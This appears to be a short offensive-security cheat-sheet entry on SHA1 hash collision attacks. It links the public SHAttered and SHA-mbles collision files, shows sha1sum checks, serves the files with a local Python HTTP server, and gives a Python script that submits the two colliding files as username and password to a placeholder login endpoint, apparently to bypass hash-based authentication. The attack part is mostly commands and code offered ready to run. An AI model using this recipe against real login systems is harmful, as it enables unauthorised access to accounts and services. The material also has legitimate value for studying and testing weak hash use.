SHA1 Hash Collision Attack

Basic reconnaisance flows.

- https://shattered.io/
- https://sha-mbles.github.io/

Sample Attacks

1. Download two Files

There are several ways to download files. So we can select our desired files as purposes.

• Download the original two PDF files in SHAttered.
• Download two custom Files (e.g. messageA and messageB) in Chosen-Prefix Collision Example.

Check if the SHA1 hash is the same as each other.

sha1sum shattered-1.pdf
sha1sum shattered-2.pdf

sha1sum messageA
sha1sum messageB

2. Host the PDF Files Locally

In the directory where the two PDF files located, start local server for using in a Python script.

python3 -m http.server 8000

3. Create a Python Script

For example, create a “test.py”.

import requests

file1 = "shattered-1.pdf"
file2 = "shattered-2.pdf"

pdf_1 = requests.get(f'http://localhost:8000/{file1}')
pdf_2 = requests.get(f'http://localhost:8000/{file2}')

# e.g. the two values can be used as username/password.
params = {'username': pdf_1.content, 'password': pdf_2.content}
r = requests.get('https://example.com/login', params=params)
print(r.text)

4. Run the Script

python3 test.py